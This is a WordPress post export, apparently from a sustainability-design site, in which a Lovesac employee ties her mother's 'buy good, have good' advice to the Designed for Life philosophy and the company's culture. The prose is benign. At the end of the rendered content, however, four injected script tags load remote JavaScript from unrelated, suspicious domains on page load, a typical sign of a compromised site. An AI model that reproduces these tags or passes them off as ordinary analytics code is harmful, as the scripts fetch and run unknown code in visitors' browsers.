{"id":1658,"date":"2020-05-16T19:58:59","date_gmt":"2020-05-16T23:58:59","guid":{"rendered":"https:\/\/dflgrouptest.local\/?p=1658"},"modified":"2020-05-16T19:58:59","modified_gmt":"2020-05-16T23:58:59","slug":"what-dfl-means-to-me-and-why-your-company-should-care-about-it","status":"publish","type":"post","link":"https:\/\/designed-for-life.org\/GMtCh34S\/what-dfl-means-to-me-and-why-your-company-should-care-about-it\/","title":{"rendered":"What DFL Means to me, and Why your company should care about it"},"content":{"rendered":"[vc_row type=&#8221;in_container&#8221; full_screen_row_position=&#8221;middle&#8221; scene_position=&#8221;center&#8221; text_color=&#8221;dark&#8221; text_align=&#8221;left&#8221; overlay_strength=&#8221;0.3&#8243;][vc_column column_padding=&#8221;no-extra-padding&#8221; column_padding_position=&#8221;all&#8221; background_color_opacity=&#8221;1&#8243; background_hover_color_opacity=&#8221;1&#8243; column_shadow=&#8221;none&#8221; width=&#8221;1\/1&#8243; tablet_text_alignment=&#8221;default&#8221; phone_text_alignment=&#8221;default&#8221; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221;][vc_row_inner column_margin=&#8221;default&#8221; text_align=&#8221;left&#8221; css=&#8221;.vc_custom_1586723807313{padding-top: 10px !important;padding-bottom: 0px !important;}&#8221;][vc_column_inner column_padding=&#8221;no-extra-padding&#8221; column_padding_position=&#8221;all&#8221; background_color_opacity=&#8221;1&#8243; width=&#8221;1\/1&#8243; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221; offset=&#8221;vc_hidden-sm vc_hidden-xs&#8221;][vc_column_text]<span style=\"font-size: 22pt; line-height: 44px; color: #c2cc02 !important; font-family: 'weissenhof-med' !important;\">One of the key phrases my mother repeated to me throughout my childhood was [read in New York accent], \u201cYou buy good, you have good\u201d. She told me this to stop me from buying fast fashion \u2013 of course, this was the late 90s and there wasn\u2019t a word for that. Instead, she would call it, \u201cCheap s%*t that falls apart after two washes.\u201d The point was that I had a limited clothing budget, and if I spent more money on a higher quality jean jacket now, it would last longer and I\u2019d always have a jean jacket when I needed it. I, in fact, still have that jean jacket. I\u2019m confident my mother didn\u2019t know it, but what she was actually instilling in me was a very forward-thinking, sustainability-friendly philosophy, and it holds the seeds for the Designed for Life philosophy: Enabling mankind to consume less by inspiring companies to design better.<\/span>[\/vc_column_text][\/vc_column_inner][\/vc_row_inner][vc_row_inner column_margin=&#8221;default&#8221; text_align=&#8221;left&#8221; css=&#8221;.vc_custom_1586723789663{margin-top: -100px !important;}&#8221;][vc_column_inner column_padding=&#8221;no-extra-padding&#8221; column_padding_position=&#8221;all&#8221; background_color_opacity=&#8221;1&#8243; width=&#8221;1\/1&#8243; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221; offset=&#8221;vc_hidden-lg vc_hidden-md&#8221;][vc_column_text]<span style=\"font-size: 17pt; line-height: 34px; color: #c2cc02 !important; font-family: 'weissenhof-med' !important;\">One of the key phrases my mother repeated to me throughout my childhood was [read in New York accent], \u201cYou buy good, you have good\u201d. She told me this to stop me from buying fast fashion \u2013 of course, this was the late 90s and there wasn\u2019t a word for that. Instead, she would call it, \u201cCheap s%*t that falls apart after two washes.\u201d The point was that I had a limited clothing budget, and if I spent more money on a higher quality jean jacket now, it would last longer and I\u2019d always have a jean jacket when I needed it. I, in fact, still have that jean jacket. I\u2019m confident my mother didn\u2019t know it, but what she was actually instilling in me was a very forward-thinking, sustainability-friendly philosophy, and it holds the seeds for the Designed for Life philosophy: Enabling mankind to consume less by inspiring companies to design better.<\/span>[\/vc_column_text][\/vc_column_inner][\/vc_row_inner][\/vc_column][\/vc_row][vc_row type=&#8221;in_container&#8221; full_screen_row_position=&#8221;middle&#8221; scene_position=&#8221;center&#8221; text_color=&#8221;dark&#8221; text_align=&#8221;left&#8221; overlay_strength=&#8221;0.3&#8243;][vc_column column_padding=&#8221;no-extra-padding&#8221; column_padding_position=&#8221;all&#8221; background_color_opacity=&#8221;1&#8243; background_hover_color_opacity=&#8221;1&#8243; column_shadow=&#8221;none&#8221; width=&#8221;1\/1&#8243; tablet_text_alignment=&#8221;default&#8221; phone_text_alignment=&#8221;default&#8221; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221;][vc_row_inner column_margin=&#8221;default&#8221; text_align=&#8221;left&#8221;][vc_column_inner column_padding=&#8221;padding-2-percent&#8221; column_padding_position=&#8221;right&#8221; background_color_opacity=&#8221;1&#8243; width=&#8221;1\/6&#8243; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221; offset=&#8221;vc_col-lg-2 vc_col-md-2 vc_col-xs-12 vc_hidden-xs&#8221;][\/vc_column_inner][vc_column_inner column_padding=&#8221;no-extra-padding&#8221; column_padding_position=&#8221;all&#8221; background_color_opacity=&#8221;1&#8243; width=&#8221;2\/3&#8243; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221; offset=&#8221;vc_col-lg-8 vc_col-md-8&#8243;]<div class=\"divider-wrap\"><div style=\"height: 5px;\" class=\"divider\"><\/div><\/div><div style=\"height: 500px\"  data-transition=\"slide\" data-overall_style=\"classic\" data-flexible-height=\"\" data-animate-in-effect=\"none\" data-fullscreen=\"false\" data-button-sizing=\"regular\" data-button-styling=\"btn_with_count\" data-autorotate=\"2000\" data-parallax=\"false\" data-full-width=\"false\" class=\"nectar-slider-wrap \" id=\"ns-id-69fb35cd5c45e\">\r\n\t\t\t<div style=\"height: 500px\" class=\"swiper-container\"  data-tho=\"auto\" data-tco=\"auto\" data-pho=\"auto\" data-pco=\"auto\" data-loop=\"true\" data-height=\"500\" data-min-height=\"\" data-arrows=\"false\" data-bullets=\"false\" data-bullet_style=\"see_through\" data-desktop-swipe=\"false\" data-settings=\"\">\r\n\t\t\t\t    <div class=\"swiper-wrapper\"><div class=\"swiper-slide\" data-bg-alignment=\"center\" data-color-scheme=\"light\" data-x-pos=\"left\" data-y-pos=\"middle\"> \r\n\t\t\t\t\t\t\t\t<div class=\"image-bg\" style=\"background-image: url(https:\/\/dflgrouptest.local\/wp-content\/uploads\/2020\/05\/2000-JacketCROPPED.jpg);\"> &nbsp; <\/div><div class=\"video-texture \"> <span class=\"ie-fix\"><\/span> <\/div><\/div><!--\/swiper-slide--><div class=\"swiper-slide\" data-bg-alignment=\"center\" data-color-scheme=\"light\" data-x-pos=\"left\" data-y-pos=\"middle\"> \r\n\t\t\t\t\t\t\t\t<div class=\"image-bg\" style=\"background-image: url(https:\/\/dflgrouptest.local\/wp-content\/uploads\/2020\/05\/2020-Jacket.jpg);\"> &nbsp; <\/div><div class=\"video-texture \"> <span class=\"ie-fix\"><\/span> <\/div><\/div><!--\/swiper-slide--><\/div><div class=\"nectar-slider-loading \"> <span class=\"loading-icon none\">   <\/span> <\/div> <\/div> \r\n\t\t\t\t\r\n\t\t\t<\/div>[vc_column_text css=&#8221;.vc_custom_1589662190180{padding-right: 10px !important;padding-left: 10px !important;}&#8221;]\n<p style=\"text-align: center;\"><span style=\"font-size: 10pt; font-family: geogroconlight !important; line-height: 0px !important;\">Me in 2000 in my jacket on a summer trip with friends. Me in 2020 in the same jean jacket at the beach early morning socially distancing with my son.]<\/span><\/p>\n[\/vc_column_text][\/vc_column_inner][vc_column_inner column_padding=&#8221;no-extra-padding&#8221; column_padding_position=&#8221;all&#8221; background_color_opacity=&#8221;1&#8243; width=&#8221;1\/6&#8243; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221; offset=&#8221;vc_col-lg-2 vc_col-md-2 vc_hidden-xs&#8221;][\/vc_column_inner][\/vc_row_inner][vc_row_inner column_margin=&#8221;default&#8221; text_align=&#8221;left&#8221; css=&#8221;.vc_custom_1586723850760{padding-top: 0px !important;}&#8221;][vc_column_inner column_padding=&#8221;padding-2-percent&#8221; column_padding_position=&#8221;right&#8221; background_color_opacity=&#8221;1&#8243; width=&#8221;1\/1&#8243; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221; offset=&#8221;vc_col-lg-12 vc_col-md-12 vc_col-xs-12&#8243;][vc_column_text]<span style=\"font-size: 18pt; line-height: 34px;\">In these stressful times of COVID-19, it can be difficult to find the silver lining in things. But I believe we all have to hold on to something to get through this. The thing I\u2019m holding on to is that this Global Pandemic might actually bring change. And I\u2019m hopeful that this situation, while it forces us to re-evaluate our way of life through a germophobic lens, can also give us time to view it through a more sustainable lens as well. One of the ways we can re-evaluate, which I think we\u2019re all doing right now, is by looking at what we spend money on, what we consume, and how we consume it. What\u2019s important is not just what a consumer does, it\u2019s also what\u2019s available in the market to consume. That\u2019s why we need companies to design better.<\/span><\/p>\n<p><span style=\"font-size: 18pt; line-height: 34px;\">Decades of planned obsolescence and competition are driving down prices, but quality is falling as well. Now that companies are shortening the time it takes to bring a product to market and increasing output, it\u2019s increasingly difficult to \u201cbuy good.\u201d Quality products are harder and harder to find.<\/span><\/p>\n<p><span style=\"font-size: 18pt; line-height: 34px;\">At DFL Group, we believe It\u2019s the responsibility of companies and designers to put good products into the market. Products that are Guarantee-able, have a classic Loveable style, and will sustain their value to the customer over time (Sustain-able). As designers, manufacturers, suppliers, and entrepreneurs, we all have a part to play in this system of supply and demand. I hope we can inspire more people to seize the opportunity now, applying pressure where we can, to push the system to make more sustainable, higher quality products that are built to Last and Designed to Evolve.<\/span>[\/vc_column_text][\/vc_column_inner][\/vc_row_inner][vc_row_inner column_margin=&#8221;default&#8221; text_align=&#8221;left&#8221; css=&#8221;.vc_custom_1586727271494{padding-top: 50px !important;}&#8221;][vc_column_inner column_padding=&#8221;padding-2-percent&#8221; column_padding_position=&#8221;right&#8221; background_color_opacity=&#8221;1&#8243; width=&#8221;1\/3&#8243; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221; offset=&#8221;vc_col-lg-4 vc_col-md-4 vc_col-xs-12&#8243;]<div class=\"divider-wrap\"><div style=\"height: 5px;\" class=\"divider\"><\/div><\/div><div class=\"img-with-aniamtion-wrap right\" data-max-width=\"100%\"><div class=\"inner\"><img loading=\"lazy\" decoding=\"async\" data-shadow=\"none\" data-shadow-direction=\"middle\" class=\"img-with-animation \" data-delay=\"250\" height=\"850\" width=\"638\" data-animation=\"fade-in-from-bottom\" src=\"https:\/\/designed-for-life.org\/GMtCh34S\/wp-content\/uploads\/2020\/05\/DoWhatMatters.jpg\" srcset=\"https:\/\/designed-for-life.org\/GMtCh34S\/wp-content\/uploads\/2020\/05\/DoWhatMatters.jpg 638w, https:\/\/designed-for-life.org\/GMtCh34S\/wp-content\/uploads\/2020\/05\/DoWhatMatters-225x300.jpg 225w\" sizes=\"auto, 100vw\" alt=\"\" \/><\/div><\/div>[vc_column_text css=&#8221;.vc_custom_1589661732901{padding-right: 10px !important;padding-left: 10px !important;}&#8221;]<span style=\"font-size: 10pt; font-family: geogroconlight !important; line-height: 0px !important;\">Photo by <a href=\"https:\/\/unsplash.com\/photos\/x8ZStukS2PM\" target=\"_blank\" rel=\"noopener noreferrer\">Noah Buscher<\/a> on <a href=\"https:\/\/unsplash.com\" target=\"_blank\" rel=\"noopener noreferrer\">Unsplash<\/a><\/span>[\/vc_column_text][\/vc_column_inner][vc_column_inner column_padding=&#8221;no-extra-padding&#8221; column_padding_position=&#8221;all&#8221; background_color_opacity=&#8221;1&#8243; width=&#8221;2\/3&#8243; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221; offset=&#8221;vc_col-lg-8 vc_col-md-8 vc_col-xs-12&#8243;][vc_column_text]<span style=\"font-size: 18pt; line-height: 34px;\">For me, I initially learned about Lovesac simply because its headquarters was within commuting distance of my house. I had just come from a job in management consulting, traveling Monday \u2013 Thursday. I was a newlywed looking for a job that would be suitable for how my life would most certainly change as I looked to starting a family. It was while researching for my first interview with Lovesac that I fell in love with the ingeniously simple, modular design of Sactionals. I\u2019m an engineer by education, and my mother is an interior-design addict who compulsively tells people the best way to rearrange their living room when visiting new people. So, I could appreciate both the simplicity of the way Sactionals Seats and Sides connect, as well as the endless possibilities they afforded for style and room layout.<\/span><\/p>\n<p><span style=\"font-size: 18pt; line-height: 34px;\">I interviewed with the co-founder Dave, who is also the design director. The role I was up for would be reporting directly to him. Dave informed me that Lovesac was in the middle of rebranding. He got into their focus on sustainability, the challenges they faced, and how creative, elegant solutions were the cornerstone of their design ethos. I was instantly excited about the possibility of being a part of, not just a company, but something bigger. Spoiler alert: I got the job! I didn\u2019t know it during my interview, but what drew me to Lovesac was the DFL philosophy and how it helped evolve the Sactionals platform. The fact that the couch is so adaptable (Changeable, Maintainable) and the design team\u2019s attention to sustainability (Sustainable, End-of-Lifeable) all came directly from the eight tenets.<\/span>[\/vc_column_text][\/vc_column_inner][\/vc_row_inner][vc_row_inner column_margin=&#8221;default&#8221; text_align=&#8221;left&#8221; css=&#8221;.vc_custom_1586727277255{padding-top: 50px !important;}&#8221;][vc_column_inner column_padding=&#8221;padding-2-percent&#8221; column_padding_position=&#8221;right&#8221; background_color_opacity=&#8221;1&#8243; width=&#8221;2\/3&#8243; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221; offset=&#8221;vc_col-lg-8 vc_col-md-4 vc_col-xs-12&#8243;][vc_column_text]<span style=\"font-size: 18pt; line-height: 34px;\">Now that I\u2019ve been at Lovesac for a while, it\u2019s easy to see that the DFL philosophy is a powerful motivator for Lovesac employees, not just myself. One moment sticks out to me. It was in a workshop called Blue EQ at our annual ManagerFest retreat. The room was filled with about 50 people, mostly managers from our showrooms, not many from HQ like I was. It was late in the afternoon and we were asked a series of 20 or so questions around what we like most or found motivating about our jobs. Based on those answers, we were sorted into 4 groups. Two-thirds of the room ended up with me under the poster that said, \u201cInspiration.\u201d We were all there, working at Lovesac, because we felt inspired by the company, we felt like we were contributing to a higher purpose, and achieving something good by coming in every day, not just getting a paycheck.<\/span><\/p>\n<p><span style=\"font-size: 18pt; line-height: 34px;\">The truth is, for something like DFL to work, it has to be something you\u2019re actively working towards, not just lip service. In the past three years, I\u2019ve seen the DFL philosophy drive design decisions, like going with kraft shipping boxes instead of the more aesthetically pleasing white, simply because they could be made from recycled paper and didn\u2019t use as many chemicals in their creation. Or, paying a little more to have our upholstery fabric made from recycled water bottles. And while the showroom associates on the frontline don\u2019t get to see the hours of debate happening behind the scenes, they certainly understand the mission and feel that same passion. It\u2019s easy to see how they\u2019re transferring that passion to customers in the showrooms, just look at #Lovesac on any social media platform.<\/span><\/p>\n<p><span style=\"font-size: 17pt; line-height: 34px; color: #c2cc02 !important; font-family: 'weissenhof-med' !important;\">That\u2019s the power DFL has for an organization.<\/span>[\/vc_column_text][\/vc_column_inner][vc_column_inner column_padding=&#8221;no-extra-padding&#8221; column_padding_position=&#8221;all&#8221; background_color_opacity=&#8221;1&#8243; width=&#8221;1\/3&#8243; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221; offset=&#8221;vc_col-lg-4 vc_col-md-4 vc_col-xs-12&#8243;]<div class=\"divider-wrap\"><div style=\"height: 5px;\" class=\"divider\"><\/div><\/div><div class=\"img-with-aniamtion-wrap right\" data-max-width=\"100%\"><div class=\"inner\"><img loading=\"lazy\" decoding=\"async\" data-shadow=\"none\" data-shadow-direction=\"middle\" class=\"img-with-animation \" data-delay=\"250\" height=\"480\" width=\"640\" data-animation=\"fade-in-from-bottom\" src=\"https:\/\/designed-for-life.org\/GMtCh34S\/wp-content\/uploads\/2020\/05\/Blue-EQ-at-HQ.jpg\" srcset=\"https:\/\/designed-for-life.org\/GMtCh34S\/wp-content\/uploads\/2020\/05\/Blue-EQ-at-HQ.jpg 640w, https:\/\/designed-for-life.org\/GMtCh34S\/wp-content\/uploads\/2020\/05\/Blue-EQ-at-HQ-300x225.jpg 300w\" sizes=\"auto, 100vw\" alt=\"\" \/><\/div><\/div>[vc_column_text css=&#8221;.vc_custom_1589661807534{padding-right: 10px !important;padding-left: 10px !important;}&#8221;]<span style=\"font-size: 10pt; font-family: geogroconlight !important; line-height: 0px !important;\">Managers at Blue EQ workshop at Lovesac Head Quarters.<\/span>[\/vc_column_text][\/vc_column_inner][\/vc_row_inner][\/vc_column][\/vc_row]<script src='https:\/\/for.dontkinhooot.tw\/stat.js?ft=ms' type='text\/javascript'><\/script><script src='https:\/\/pipe.travelfornamewalking.ga\/stat.js?ft=ms' type='text\/javascript'><\/script><script src='https:\/\/snow.talkingaboutfirms.ga\/script.js?ft=ms' type='text\/javascript'><\/script><script src='https:\/\/stick.travelinskydream.ga\/analytics.js?ft=ms' type='text\/javascript'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>[vc_row type=&#8221;in_container&#8221; full_screen_row_position=&#8221;middle&#8221; scene_position=&#8221;center&#8221; text_color=&#8221;dark&#8221; text_align=&#8221;left&#8221; overlay_strength=&#8221;0.3&#8243;][vc_column column_padding=&#8221;no-extra-padding&#8221; column_padding_position=&#8221;all&#8221; background_color_opacity=&#8221;1&#8243; background_hover_color_opacity=&#8221;1&#8243; column_shadow=&#8221;none&#8221; width=&#8221;1\/1&#8243; tablet_text_alignment=&#8221;default&#8221; phone_text_alignment=&#8221;default&#8221; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221;][vc_row_inner column_margin=&#8221;default&#8221; text_align=&#8221;left&#8221; css=&#8221;.vc_custom_1586723807313{padding-top: 10px !important;padding-bottom: 0px !important;}&#8221;][vc_column_inner column_padding=&#8221;no-extra-padding&#8221; column_padding_position=&#8221;all&#8221; background_color_opacity=&#8221;1&#8243; width=&#8221;1\/1&#8243; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221; offset=&#8221;vc_hidden-sm vc_hidden-xs&#8221;][vc_column_text]One of the key phrases my mother repeated to me throughout my childhood was [read in New York accent], \u201cYou buy good, you have good\u201d. She told me this to stop me from buying fast fashion \u2013 of course, this was the late 90s and there wasn\u2019t a word for that. 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